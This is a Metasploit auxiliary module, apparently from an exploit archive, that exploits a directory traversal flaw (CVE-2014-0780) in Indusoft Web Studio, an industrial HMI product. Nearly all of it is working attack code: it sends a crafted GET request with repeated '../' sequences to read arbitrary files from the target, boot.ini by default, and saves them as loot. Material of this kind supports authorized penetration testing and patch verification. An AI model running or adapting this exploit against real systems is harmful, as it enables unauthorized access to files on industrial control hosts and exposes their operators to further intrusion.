Indusoft Web Studio - Directory Traversal Information Disclosure (Metasploit)

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Indusoft Web Studio Directory Traversal',
			'Description'    => %q{
				This module exploits a flaw found in Indusoft Web Studio
				<= 7.1 before SP2 Patch 4. This specific flaw allows users
				to browse outside of the webroot to download files found
				on the underlying system
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'CVE', '2014-0780' ],
					[ 'ZDI', '14-118/' ],
					[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02']
				],
			'DisclosureDate' => 'Jan 18 2013'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				Opt::RPORT(80)
			], self.class )
	end

	def run

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("../" * depth)

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "/" + levels + datastore['FILE'],
	})

	if res and res.code == 200 and res.message =~ /Sending file/
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	end

	end
end